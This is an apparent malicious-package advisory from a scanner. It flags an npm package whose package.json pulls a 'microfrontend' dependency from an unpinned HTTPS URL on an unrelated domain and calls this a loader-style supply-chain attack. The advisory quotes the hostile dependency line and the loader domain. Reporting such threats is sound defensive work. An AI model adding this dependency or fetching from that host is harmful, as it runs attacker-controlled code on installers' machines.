GCVE-110-OSM-2026-11591

package.json declares a runtime dependency `microfrontend` whose source is a bare HTTPS URL at `https://repo.artifactorymanager.com/bx-ui-framework/microfrontend` rather than a version on the npm registry. The URL carries no version, commit, or hash pin, so `npm install` fetches whatever tarball is currently served at that location and executes any lifecycle scripts and code it contains inside the installer's dependency tree. The `artifactorymanager.com` domain is unrelated to any established publisher for this scope, and the tarball contents can change at any time without a version bump. Judge assessment: This looks like a loader-style supply-chain attack: `package.json` declares a runtime dependency on `microfrontend` via a bare HTTPS URL, so installs will fetch opaque code from `repo.artifactorymanager.com` outside the npm registry. The attacker model is a publisher-controlled remote payload that can be swapped at any time without a version or hash pin, which is exactly the behavior flagged by `url-dependency` and corroborated by the OSV advisory. Although `index.js` itself is harmless (`return "ok"`), the malicious behavior is in the dependency resolution path, not the entrypoint. The fresh `bxorg` account, single-version publication, and no source repository add credibility that this is not a normal package layout. ENTRY index.js (bin: index.js) - URL-Based Dependency in package.json: ""dependencies": { "microfrontend": "https://repo.artifactorymanager.com/bx-ui-fr..." - URL Dependency Fetch Failed in package.json DESTINATION - 2 loader (urls, domains) (values recorded in verified_iocs)